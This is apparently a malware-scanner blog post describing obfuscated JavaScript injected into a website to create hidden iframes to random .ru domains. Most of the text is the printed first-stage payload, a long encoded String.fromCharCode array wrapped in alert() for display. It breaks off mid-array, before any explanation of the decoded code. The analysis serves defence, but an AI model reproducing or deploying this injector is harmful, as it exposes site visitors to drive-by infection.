Malicious JavaScript code protected by multiple obfuscations
Background
Online Website Malware Scanner detected malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to inject hidden iframes to random domains in *.ru area. Similar infections has been analyzed in other posts about malicious iframes generation. This particular threat is described in here by Vericon Labs.
This post describes the obfuscation levels and malicious payload.
This post describes the obfuscation levels and malicious payload.
First obfuscation level
alert(String.fromCharCode(116, 114,121,123,112,114,111,116, 111,116,121,112,101,37,50,59, 125,99,97,116,99,104,40,97, 115,100,41,123,120,61,50,59, 125,116,114,121,123,113,61, 100,111,99,117,109,101,110, 116,91,40,120,41,63,34,99,34, 43,34,114,34,58,50,43,34,101, 34,43,34,97,34,43,34,116,34, 43,34,101,34,43,34,69,34,43, 34,108,34,43,34,101,34,43,34, 109,34,43,40,40,102,41,63,34, 101,34,43,34,110,34,43,34,116, 34,58,34,34,41,93,40,34,112, 34,41,59,113,46,97,112,112, 101,110,100,67,104,105,108, 100,40,113,43,34,34,41,59,125, 99,97,116,99,104,40,102,119, 98,101,119,101,41,123,105,61, 48,59,116,114,121,123,112,114, 111,116,111,116,121,112,101, 42,53,59,125,99,97,116,99,104, 40,122,41,123,102,114,61,34, 102,114,111,109,67,104,97,114, 34,59,102,61,91,53,49,48,44, 55,48,50,44,53,53,48,44,53,57, 52,44,53,56,48,44,54,51,48,44, 53,53,53,44,54,54,48,44,49,54, 48,44,54,54,48,44,53,48,53,44, 55,50,48,44,53,56,48,44,52,57, 50,44,52,56,53,44,54,54,48,44, 53,48,48,44,54,54,54,44,53,52, 53,44,52,54,56,44,53,56,53,44, 54,53,52,44,52,57,48,44,54,48, 54,44,53,55,48,44,50,52,48,44, 50,48,53,44,55,51,56,44,53,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,55,48,56, 44,52,56,53,44,54,56,52,44,49, 54,48,44,54,50,52,44,53,50,53, 44,49,57,50,44,51,48,53,44,49, 57,50,44,53,56,48,44,54,50,52, 44,53,50,53,44,54,57,48,44,50, 51,48,44,54,57,48,44,53,48,53, 44,54,48,54,44,53,48,48,44,49, 57,50,44,50,51,53,44,49,57,50, 44,53,56,48,44,54,50,52,44,53, 50,53,44,54,57,48,44,50,51,48, 44,52,56,54,44,50,57,53,44,54, 48,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,53,57, 48,44,53,56,50,44,53,55,48,44, 49,57,50,44,53,52,48,44,54,54, 54,44,49,54,48,44,51,54,54,44, 49,54,48,44,54,57,54,44,53,50, 48,44,54,51,48,44,53,55,53,44, 50,55,54,44,53,55,53,44,54,48, 54,44,53,48,53,44,54,48,48,44, 49,54,48,44,50,50,50,44,49,54, 48,44,54,57,54,44,53,50,48,44, 54,51,48,44,53,55,53,44,50,55, 54,44,52,48,53,44,51,53,52,44, 53,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,55, 48,56,44,52,56,53,44,54,56,52, 44,49,54,48,44,54,57,54,44,53, 48,53,44,54,57,48,44,53,56,48, 44,49,57,50,44,51,48,53,44,49, 57,50,44,53,56,48,44,54,50,52, 44,53,50,53,44,54,57,48,44,50, 51,48,44,51,57,48,44,49,54,48, 44,50,53,50,44,49,54,48,44,54, 52,56,44,53,53,53,44,49,57,50, 44,50,50,53,44,49,57,50,44,53, 56,48,44,54,50,52,44,53,50,53, 44,54,57,48,44,50,51,48,44,52, 57,50,44,49,54,48,44,50,53,50, 44,49,54,48,44,54,50,52,44,53, 50,53,44,51,53,52,44,53,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,54,51,48,44, 53,49,48,44,50,52,48,44,53,56, 48,44,54,48,54,44,53,55,53,44, 54,57,54,44,49,54,48,44,51,55, 50,44,49,54,48,44,50,56,56,44, 50,48,53,44,55,51,56,44,53,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,54,57,54,44,53,50,48, 44,54,51,48,44,53,55,53,44,50, 55,54,44,53,55,53,44,54,48,54, 44,53,48,53,44,54,48,48,44,49, 54,48,44,51,54,54,44,49,54,48, 44,54,57,54,44,53,48,53,44,54, 57,48,44,53,56,48,44,51,53,52, 44,53,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 55,53,48,44,49,54,48,44,54,48, 54,44,53,52,48,44,54,57,48,44, 53,48,53,44,49,57,50,44,54,49, 53,44,54,48,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,53,56,48, 44,54,50,52,44,53,50,53,44,54, 57,48,44,50,51,48,44,54,57,48, 44,53,48,53,44,54,48,54,44,53, 48,48,44,49,57,50,44,51,48,53, 44,49,57,50,44,53,56,48,44,54, 48,54,44,53,55,53,44,54,57,54, 44,49,54,48,44,50,53,56,44,49, 54,48,44,54,57,54,44,53,50,48, 44,54,51,48,44,53,55,53,44,50, 55,54,44,51,56,53,44,51,53,52, 44,53,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 55,53,48,44,53,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,54,56,52,44,53,48,53, 44,54,57,54,44,53,56,53,44,54, 56,52,44,53,53,48,44,49,57,50, 44,50,48,48,44,54,57,54,44,53, 50,48,44,54,51,48,44,53,55,53, 44,50,55,54,44,53,55,53,44,54, 48,54,44,53,48,53,44,54,48,48, 44,49,54,48,44,50,53,50,44,49, 54,48,44,54,57,54,44,53,50,48, 44,54,51,48,44,53,55,53,44,50, 55,54,44,53,53,53,44,54,54,48, 44,53,48,53,44,52,55,52,44,53, 57,48,44,54,48,54,44,53,55,48, 44,52,54,50,44,50,48,53,44,51, 53,52,44,53,48,44,55,53,48,44, 53,48,44,54,48,44,53,49,48,44, 55,48,50,44,53,53,48,44,53,57, 52,44,53,56,48,44,54,51,48,44, 53,53,53,44,54,54,48,44,49,54, 48,44,52,57,50,44,52,56,53,44, 54,54,48,44,53,48,48,44,54,54, 54,44,53,52,53,44,52,54,56,44, 53,56,53,44,54,53,52,44,52,57, 48,44,54,48,54,44,53,55,48,44, 52,50,54,44,53,48,53,44,54,54, 48,44,53,48,53,44,54,56,52,44, 52,56,53,44,54,57,54,44,53,53, 53,44,54,56,52,44,50,48,48,44, 55,48,50,44,53,53,48,44,54,51, 48,44,54,48,48,44,50,52,54,44, 54,49,53,44,54,48,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,53,57,48,44,53,56,50, 44,53,55,48,44,49,57,50,44,53, 48,48,44,49,57,50,44,51,48,53, 44,49,57,50,44,53,53,48,44,54, 48,54,44,53,57,53,44,49,57,50, 44,51,52,48,44,53,56,50,44,53, 56,48,44,54,48,54,44,50,48,48, 44,55,48,50,44,53,53,48,44,54, 51,48,44,54,48,48,44,50,53,50, 44,50,52,53,44,50,56,56,44,50, 52,48,44,50,56,56,44,50,48,53, 44,51,53,52,44,53,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,55,48,56,44,52,56, 53,44,54,56,52,44,49,54,48,44, 54,57,48,44,49,54,48,44,51,54, 54,44,49,54,48,44,54,48,48,44, 50,51,48,44,54,49,56,44,53,48, 53,44,54,57,54,44,51,54,48,44, 54,54,54,44,53,56,53,44,54,56, 52,44,53,55,53,44,50,52,48,44, 50,48,53,44,49,57,50,44,51,49, 48,44,49,57,50,44,50,52,53,44, 51,48,48,44,49,54,48,44,51,55, 56,44,49,54,48,44,50,57,52,44, 49,54,48,44,51,52,56,44,49,54, 48,44,50,56,56,44,50,57,53,44, 54,48,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,53, 56,48,44,54,50,52,44,53,50,53, 44,54,57,48,44,50,51,48,44,54, 57,48,44,53,48,53,44,54,48,54, 44,53,48,48,44,49,57,50,44,51, 48,53,44,49,57,50,44,50,53,48, 44,51,48,54,44,50,54,48,44,51, 49,56,44,50,55,48,44,51,51,48, 44,50,56,48,44,51,52,50,44,50, 52,48,44,50,57,52,44,49,54,48, 44,50,53,56,44,49,54,48,44,50, 52,48,44,53,48,48,44,50,55,54, 44,53,49,53,44,54,48,54,44,53, 56,48,44,52,54,50,44,53,53,53, 44,54,54,48,44,53,56,48,44,54, 50,52,44,50,48,48,44,50,52,54, 44,49,54,48,44,50,53,50,44,49, 54,48,44,50,56,56,44,54,48,48, 44,52,50,48,44,51,53,48,44,52, 50,48,44,51,53,48,44,52,50,48, 44,51,53,48,44,50,52,54,44,49, 54,48,44,50,53,56,44,49,54,48, 44,50,52,48,44,53,48,48,44,50, 55,54,44,53,49,53,44,54,48,54, 44,53,56,48,44,52,48,56,44,52, 56,53,44,54,57,54,44,53,48,53, 44,50,52,48,44,50,48,53,44,49, 57,50,44,50,49,48,44,49,57,50, 44,50,52,48,44,55,50,48,44,51, 53,48,44,52,50,48,44,51,53,48, 44,52,50,48,44,50,48,53,44,50, 53,56,44,49,54,48,44,50,52,48, 44,51,56,53,44,53,56,50,44,53, 56,48,44,54,50,52,44,50,51,48, 44,54,56,52,44,53,53,53,44,55, 48,50,44,53,53,48,44,54,48,48, 44,50,48,48,44,54,57,48,44,49, 54,48,44,50,53,50,44,49,54,48, 44,50,56,56,44,54,48,48,44,52, 50,48,44,51,53,48,44,52,50,48, 44,50,48,53,44,50,52,54,44,50, 57,53,44,54,48,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,53,56,48,44,54,50,52,44, 53,50,53,44,54,57,48,44,50,51, 48,44,51,57,48,44,49,54,48,44, 51,54,54,44,49,54,48,44,51,49, 50,44,50,56,48,44,51,48,48,44, 50,55,53,44,50,57,52,44,50,57, 53,44,54,48,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,53,56,48,44,54,50,52,44,53, 50,53,44,54,57,48,44,50,51,48, 44,52,54,50,44,49,54,48,44,51, 54,54,44,49,54,48,44,51,48,48, 44,50,52,53,44,51,49,50,44,50, 55,53,44,51,49,50,44,50,56,48, 44,51,48,54,44,50,55,48,44,51, 49,50,44,50,55,53,44,51,53,52, 44,53,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 54,57,54,44,53,50,48,44,54,51, 48,44,53,55,53,44,50,55,54,44, 52,48,53,44,49,57,50,44,51,48, 53,44,49,57,50,44,53,56,48,44, 54,50,52,44,53,50,53,44,54,57, 48,44,50,51,48,44,52,54,50,44, 49,54,48,44,50,56,50,44,49,54, 48,44,54,57,54,44,53,50,48,44, 54,51,48,44,53,55,53,44,50,55, 54,44,51,50,53,44,51,53,52,44, 53,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,54, 57,54,44,53,50,48,44,54,51,48, 44,53,55,53,44,50,55,54,44,52, 49,48,44,49,57,50,44,51,48,53, 44,49,57,50,44,53,56,48,44,54, 50,52,44,53,50,53,44,54,57,48, 44,50,51,48,44,52,54,50,44,49, 54,48,44,50,50,50,44,49,54,48, 44,54,57,54,44,53,50,48,44,54, 51,48,44,53,55,53,44,50,55,54, 44,51,50,53,44,51,53,52,44,53, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,54,57, 54,44,53,50,48,44,54,51,48,44, 53,55,53,44,50,55,54,44,53,53, 53,44,54,54,48,44,53,48,53,44, 52,55,52,44,53,57,48,44,54,48, 54,44,53,55,48,44,52,54,50,44, 49,54,48,44,51,54,54,44,49,54, 48,44,50,57,52,44,50,51,48,44, 50,56,56,44,49,54,48,44,50,56, 50,44,49,54,48,44,54,57,54,44, 53,50,48,44,54,51,48,44,53,55, 53,44,50,55,54,44,51,56,53,44, 51,53,52,44,53,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,54,57,54,44,53,50,48, 44,54,51,48,44,53,55,53,44,50, 55,54,44,53,53,48,44,54,48,54, 44,54,48,48,44,54,57,54,44,49, 54,48,44,51,54,54,44,49,54,48, 44,54,54,48,44,53,48,53,44,55, 50,48,44,53,56,48,44,52,57,50, 44,52,56,53,44,54,54,48,44,53, 48,48,44,54,54,54,44,53,52,53, 44,52,54,56,44,53,56,53,44,54, 53,52,44,52,57,48,44,54,48,54, 44,53,55,48,44,51,53,52,44,53, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,54,56, 52,44,53,48,53,44,54,57,54,44, 53,56,53,44,54,56,52,44,53,53, 48,44,49,57,50,44,53,56,48,44, 54,50,52,44,53,50,53,44,54,57, 48,44,50,57,53,44,54,48,44,54, 50,53,44,54,48,44,53,48,44,54, 49,50,44,53,56,53,44,54,54,48, 44,52,57,53,44,54,57,54,44,53, 50,53,44,54,54,54,44,53,53,48, 44,49,57,50,44,52,57,53,44,54, 56,52,44,53,48,53,44,53,56,50, 44,53,56,48,44,54,48,54,44,52, 49,48,44,53,56,50,44,53,53,48, 44,54,48,48,44,53,53,53,44,54, 53,52,44,51,57,48,44,55,48,50, 44,53,52,53,44,53,56,56,44,53, 48,53,44,54,56,52,44,50,48,48, 44,54,56,52,44,50,50,48,44,49, 57,50,44,51,56,53,44,54,51,48, 44,53,53,48,44,50,54,52,44,49, 54,48,44,52,54,50,44,52,56,53, 44,55,50,48,44,50,48,53,44,55, 51,56,44,53,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,54,56,52,44,53,48,53,44, 54,57,54,44,53,56,53,44,54,56, 52,44,53,53,48,44,49,57,50,44, 51,56,53,44,53,56,50,44,53,56, 48,44,54,50,52,44,50,51,48,44, 54,56,52,44,53,53,53,44,55,48, 50,44,53,53,48,44,54,48,48,44, 50,48,48,44,50,52,48,44,51,56, 53,44,53,56,50,44,54,48,48,44, 50,55,48,44,51,56,53,44,54,51, 48,44,53,53,48,44,50,52,54,44, 49,54,48,44,50,53,50,44,49,54, 48,44,54,56,52,44,50,51,48,44, 54,54,48,44,53,48,53,44,55,50, 48,44,53,56,48,44,50,52,48,44, 50,48,53,44,49,57,50,44,50,49, 53,44,49,57,50,44,51,56,53,44, 54,51,48,44,53,53,48,44,50,52, 54,44,50,57,53,44,54,48,44,54, 50,53,44,54,48,44,53,48,44,54, 49,50,44,53,56,53,44,54,54,48, 44,52,57,53,44,54,57,54,44,53, 50,53,44,54,54,54,44,53,53,48, 44,49,57,50,44,53,49,53,44,54, 48,54,44,53,53,48,44,54,48,54, 44,53,55,48,44,53,56,50,44,53, 56,48,44,54,48,54,44,52,48,48, 44,54,57,48,44,53,48,53,44,55, 48,50,44,53,48,48,44,54,54,54, 44,52,49,48,44,53,56,50,44,53, 53,48,44,54,48,48,44,53,53,53, 44,54,53,52,44,52,49,53,44,54, 57,54,44,53,55,48,44,54,51,48, 44,53,53,48,44,54,49,56,44,50, 48,48,44,55,48,50,44,53,53,48, 44,54,51,48,44,54,48,48,44,50, 54,52,44,49,54,48,44,54,52,56, 44,53,48,53,44,54,54,48,44,53, 49,53,44,54,57,54,44,53,50,48, 44,50,54,52,44,49,54,48,44,55, 51,50,44,53,53,53,44,54,54,48, 44,53,48,53,44,50,52,54,44,54, 49,53,44,54,48,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,53,57,48,44,53,56,50,44, 53,55,48,44,49,57,50,44,53,55, 48,44,53,56,50,44,53,53,48,44, 54,48,48,44,49,54,48,44,51,54, 54,44,49,54,48,44,54,54,48,44, 53,48,53,44,55,49,52,44,49,54, 48,44,52,57,50,44,52,56,53,44, 54,54,48,44,53,48,48,44,54,54, 54,44,53,52,53,44,52,54,56,44, 53,56,53,44,54,53,52,44,52,57, 48,44,54,48,54,44,53,55,48,44, 52,50,54,44,53,48,53,44,54,54, 48,44,53,48,53,44,54,56,52,44, 52,56,53,44,54,57,54,44,53,53, 53,44,54,56,52,44,50,48,48,44, 55,48,50,44,53,53,48,44,54,51, 48,44,54,48,48,44,50,52,54,44, 50,57,53,44,54,48,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,53,57,48,44,53,56,50, 44,53,55,48,44,49,57,50,44,53, 52,48,44,54,48,54,44,53,56,48, 44,54,57,54,44,53,48,53,44,54, 56,52,44,53,55,53,44,49,57,50, 44,51,48,53,44,49,57,50,44,52, 53,53,44,50,51,52,44,52,56,53, 44,50,51,52,44,50,50,48,44,50, 51,52,44,52,57,48,44,50,51,52, 44,50,50,48,44,50,51,52,44,52, 57,53,44,50,51,52,44,50,50,48, 44,50,51,52,44,53,48,48,44,50, 51,52,44,50,50,48,44,50,51,52, 44,53,48,53,44,50,51,52,44,50, 50,48,44,50,51,52,44,53,49,48, 44,50,51,52,44,50,50,48,44,50, 51,52,44,53,49,53,44,50,51,52, 44,50,50,48,44,50,51,52,44,53, 50,48,44,50,51,52,44,50,50,48, 44,50,51,52,44,53,50,53,44,50, 51,52,44,50,50,48,44,50,51,52, 44,53,51,48,44,50,51,52,44,50, 50,48,44,50,51,52,44,53,51,53, 44,50,51,52,44,50,50,48,44,50, 51,52,44,53,52,48,44,50,51,52, 44,50,50,48,44,50,51,52,44,53, 52,53,44,50,51,52,44,50,50,48, 44,50,51,52,44,53,53,48,44,50, 51,52,44,50,50,48,44,50,51,52, 44,53,53,53,44,50,51,52,44,50, 50,48,44,50,51,52,44,53,54,48, 44,50,51,52,44,50,50,48,44,50, 51,52,44,53,54,53,44,50,51,52, 44,50,50,48,44,50,51,52,44,53, 55,48,44,50,51,52,44,50,50,48, 44,50,51,52,44,53,55,53,44,50, 51,52,44,50,50,48,44,50,51,52, 44,53,56,48,44,50,51,52,44,50, 50,48,44,50,51,52,44,53,56,53, 44,50,51,52,44,50,50,48,44,50, 51,52,44,53,57,48,44,50,51,52, 44,50,50,48,44,50,51,52,44,53, 57,53,44,50,51,52,44,50,50,48, 44,50,51,52,44,54,48,48,44,50, 51,52,44,50,50,48,44,50,51,52, 44,54,48,53,44,50,51,52,44,50, 50,48,44,50,51,52,44,54,49,48, 44,50,51,52,44,52,54,53,44,51, 53,52,44,53,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,55,48,56,44,52,56,53,44, 54,56,52,44,49,54,48,44,54,57, 48,44,53,56,48,44,54,56,52,44, 49,54,48,44,51,54,54,44,49,54, 48,44,50,51,52,44,49,57,53,44, 51,53,52,44,53,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,54,49,50,44,53,53,53, 44,54,56,52,44,50,48,48,44,55, 48,56,44,52,56,53,44,54,56,52, 44,49,54,48,44,54,51,48,44,49, 54,48,44,51,54,54,44,49,54,48, 44,50,56,56,44,50,57,53,44,49, 57,50,44,53,50,53,44,49,57,50, 44,51,48,48,44,49,57,50,44,53, 52,48,44,54,48,54,44,53,53,48, 44,54,49,56,44,53,56,48,44,54, 50,52,44,50,57,53,44,49,57,50, 44,53,50,53,44,49,57,50,44,50, 49,53,44,50,53,56,44,49,54,48, 44,50,52,54,44,54,49,53,44,54, 48,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,53,55,53,44,54,57, 54,44,53,55,48,44,49,57,50,44, 50,49,53,44,51,54,54,44,49,54, 48,44,54,52,56,44,53,48,53,44, 54,57,54,44,53,56,48,44,54,48, 54,44,53,55,48,44,54,57,48,44, 52,53,53,44,53,57,52,44,53,55, 48,44,54,48,54,44,52,56,53,44, 54,57,54,44,53,48,53,44,52,57, 50,44,52,56,53,44,54,54,48,44, 53,48,48,44,54,54,54,44,53,52, 53,44,52,54,56,44,53,56,53,44, 54,53,52,44,52,57,48,44,54,48, 54,44,53,55,48,44,50,52,48,44, 53,55,48,44,53,56,50,44,53,53, 48,44,54,48,48,44,50,50,48,44, 49,57,50,44,50,52,48,44,50,54, 52,44,49,54,48,44,54,52,56,44, 53,48,53,44,54,57,54,44,53,56, 48,44,54,48,54,44,53,55,48,44, 54,57,48,44,50,51,48,44,54,52, 56,44,53,48,53,44,54,54,48,44, 53,49,53,44,54,57,54,44,53,50, 48,44,49,57,50,44,50,50,53,44, 49,57,50,44,50,52,53,44,50,52, 54,44,52,54,53,44,51,53,52,44, 53,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,55, 53,48,44,53,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,54,56,52,44,53,48,53,44, 54,57,54,44,53,56,53,44,54,56, 52,44,53,53,48,44,49,57,50,44, 53,55,53,44,54,57,54,44,53,55, 48,44,49,57,50,44,50,49,53,44, 49,57,50,44,49,57,53,44,50,55, 54,44,49,57,53,44,49,57,50,44, 50,49,53,44,49,57,50,44,54,49, 48,44,54,54,54,44,53,53,48,44, 54,48,54,44,50,57,53,44,54,48, 44,54,50,53,44,54,48,44,53,48, 44,54,57,48,44,53,48,53,44,54, 57,54,44,52,50,48,44,54,51,48, 44,53,52,53,44,54,48,54,44,53, 53,53,44,55,48,50,44,53,56,48, 44,50,52,48,44,53,49,48,44,55, 48,50,44,53,53,48,44,53,57,52, 44,53,56,48,44,54,51,48,44,53, 53,53,44,54,54,48,44,50,48,48, 44,50,52,54,44,54,49,53,44,54, 48,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,53,56, 48,44,54,56,52,44,54,48,53,44, 55,51,56,44,53,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,54, 51,48,44,53,49,48,44,50,52,48, 44,53,56,48,44,55,50,54,44,53, 54,48,44,54,48,54,44,53,53,53, 44,54,49,50,44,49,54,48,44,54, 51,48,44,53,49,48,44,54,56,52, 44,52,56,53,44,54,53,52,44,53, 48,53,44,53,50,50,44,52,56,53, 44,54,57,48,44,51,51,53,44,54, 56,52,44,53,48,53,44,53,56,50, 44,53,56,48,44,54,48,54,44,53, 48,48,44,49,57,50,44,51,48,53, 44,51,54,54,44,49,54,48,44,50, 48,52,44,53,56,53,44,54,54,48, 44,53,48,48,44,54,48,54,44,53, 49,48,44,54,51,48,44,53,53,48, 44,54,48,54,44,53,48,48,44,50, 48,52,44,50,48,53,44,55,51,56, 44,53,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,54,51,48,44,53,49,48,44, 54,56,52,44,52,56,53,44,54,53, 52,44,53,48,53,44,53,50,50,44, 52,56,53,44,54,57,48,44,51,51, 53,44,54,56,52,44,53,48,53,44, 53,56,50,44,53,56,48,44,54,48, 54,44,53,48,48,44,49,57,50,44, 51,48,53,44,49,57,50,44,53,56, 48,44,54,56,52,44,53,56,53,44, 54,48,54,44,50,57,53,44,54,48, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,53, 57,48,44,53,56,50,44,53,55,48, 44,49,57,50,44,53,56,53,44,54, 54,48,44,53,50,53,44,55,50,48, 44,49,54,48,44,51,54,54,44,49, 54,48,44,52,54,50,44,52,56,53, 44,54,57,54,44,53,50,48,44,50, 55,54,44,53,55,48,44,54,54,54, 44,53,56,53,44,54,54,48,44,53, 48,48,44,50,52,48,44,50,49,53, 44,54,54,48,44,53,48,53,44,55, 49,52,44,49,54,48,44,52,48,56, 44,52,56,53,44,54,57,54,44,53, 48,53,44,50,52,48,44,50,48,53, 44,50,56,50,44,50,52,53,44,50, 56,56,44,50,52,48,44,50,56,56, 44,50,48,53,44,51,53,52,44,53, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 55,48,56,44,52,56,53,44,54,56, 52,44,49,54,48,44,54,48,48,44, 53,53,53,44,54,53,52,44,52,56, 53,44,54,51,48,44,53,53,48,44, 52,54,56,44,52,56,53,44,54,53, 52,44,53,48,53,44,49,57,50,44, 51,48,53,44,49,57,50,44,53,49, 53,44,54,48,54,44,53,53,48,44, 54,48,54,44,53,55,48,44,53,56, 50,44,53,56,48,44,54,48,54,44, 52,48,48,44,54,57,48,44,53,48, 53,44,55,48,50,44,53,48,48,44, 54,54,54,44,52,49,48,44,53,56, 50,44,53,53,48,44,54,48,48,44, 53,53,53,44,54,53,52,44,52,49, 53,44,54,57,54,44,53,55,48,44, 54,51,48,44,53,53,48,44,54,49, 56,44,50,48,48,44,55,48,50,44, 53,53,48,44,54,51,48,44,54,48, 48,44,50,54,52,44,49,54,48,44, 50,57,52,44,50,55,48,44,50,54, 52,44,49,54,48,44,50,51,52,44, 53,55,48,44,55,48,50,44,49,57, 53,44,50,52,54,44,50,57,53,44, 54,48,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,53,50,53,44,54,49,50,44,53, 55,48,44,54,53,52,44,49,54,48, 44,51,54,54,44,49,54,48,44,54, 48,48,44,53,53,53,44,53,57,52, 44,53,56,53,44,54,53,52,44,53, 48,53,44,54,54,48,44,53,56,48, 44,50,55,54,44,52,57,53,44,54, 56,52,44,53,48,53,44,53,56,50, 44,53,56,48,44,54,48,54,44,51, 52,53,44,54,52,56,44,53,48,53, 44,54,53,52,44,53,48,53,44,54, 54,48,44,53,56,48,44,50,52,48, 44,49,55,48,44,52,51,56,44,51, 53,48,44,52,57,50,44,51,50,53, 44,52,54,50,44,51,52,53,44,50, 48,52,44,50,48,53,44,51,53,52, 44,49,54,48,44,54,48,44,49,54, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,53,50,53,44, 54,49,50,44,53,55,48,44,54,53, 52,44,50,51,48,44,54,57,48,44, 53,48,53,44,54,57,54,44,51,50, 53,44,54,57,54,44,53,56,48,44, 54,56,52,44,53,50,53,44,53,56, 56,44,53,56,53,44,54,57,54,44, 53,48,53,44,50,52,48,44,49,55, 48,44,54,57,48,44,53,55,48,44, 53,57,52,44,49,55,48,44,50,54, 52,44,49,54,48,44,50,48,52,44, 53,50,48,44,54,57,54,44,53,56, 48,44,54,55,50,44,50,57,48,44, 50,56,50,44,50,51,53,44,50,48, 52,44,50,49,53,44,54,48,48,44, 53,53,53,44,54,53,52,44,52,56, 53,44,54,51,48,44,53,53,48,44, 52,54,56,44,52,56,53,44,54,53, 52,44,53,48,53,44,50,53,56,44, 49,55,48,44,50,56,50,44,53,55, 48,44,55,48,50,44,53,53,48,44, 54,49,50,44,53,53,53,44,54,56, 52,44,53,48,53,44,54,57,48,44, 53,56,48,44,54,56,52,44,53,56, 53,44,54,54,48,44,51,49,53,44, 54,57,48,44,53,50,53,44,54,48, 48,44,51,48,53,44,53,56,56,44, 53,53,53,44,54,57,54,44,53,53, 48,44,54,48,54,44,53,56,48,44, 51,48,48,44,49,55,48,44,50,52, 54,44,50,57,53,44,49,57,50,44, 53,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,54,51,48,44,53,49,48,44,54, 56,52,44,53,52,53,44,50,55,54, 44,53,55,53,44,54,57,54,44,54, 48,53,44,54,52,56,44,53,48,53, 44,50,55,54,44,53,57,53,44,54, 51,48,44,53,48,48,44,54,57,54, 44,53,50,48,44,49,57,50,44,51, 48,53,44,49,57,50,44,49,55,48, 44,50,56,56,44,53,54,48,44,55, 50,48,44,49,55,48,44,51,53,52, 44,49,54,48,44,54,48,44,49,54, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,53,50,53,44, 54,49,50,44,53,55,48,44,54,53, 52,44,50,51,48,44,54,57,48,44, 53,56,48,44,55,50,54,44,53,52, 48,44,54,48,54,44,50,51,48,44, 54,50,52,44,53,48,53,44,54,51, 48,44,53,49,53,44,54,50,52,44, 53,56,48,44,49,57,50,44,51,48, 53,44,49,57,50,44,49,55,48,44, 50,56,56,44,53,54,48,44,55,50, 48,44,49,55,48,44,51,53,52,44, 49,54,48,44,54,48,44,49,54,48, 44,49,57,50,44,49,54,48,44,49, 57,50,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,53,50,53,44,54, 49,50,44,53,55,48,44,54,53,52, 44,50,51,48,44,54,57,48,44,53, 56,48,44,55,50,54,44,53,52,48, 44,54,48,54,44,50,51,48,44,55, 48,56,44,53,50,53,44,54,57,48, 44,53,50,53,44,53,56,56,44,53, 50,53,44,54,52,56,44,53,50,53, 44,54,57,54,44,54,48,53,44,49, 57,50,44,51,48,53,44,49,57,50, 44,49,55,48,44,54,50,52,44,53, 50,53,44,54,48,48,44,53,48,48, 44,54,48,54,44,53,53,48,44,50, 48,52,44,50,57,53,44,49,57,50, 44,53,48,44,49,57,50,44,49,54, 48,44,49,57,50,44,49,54,48,44, 49,57,50,44,49,54,48,44,49,57, 50,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,49,54, 48,44,54,48,48,44,53,53,53,44, 53,57,52,44,53,56,53,44,54,53, 52,44,53,48,53,44,54,54,48,44, 53,56,48,44,50,55,54,44,52,57, 48,44,54,54,54,44,53,48,48,44, 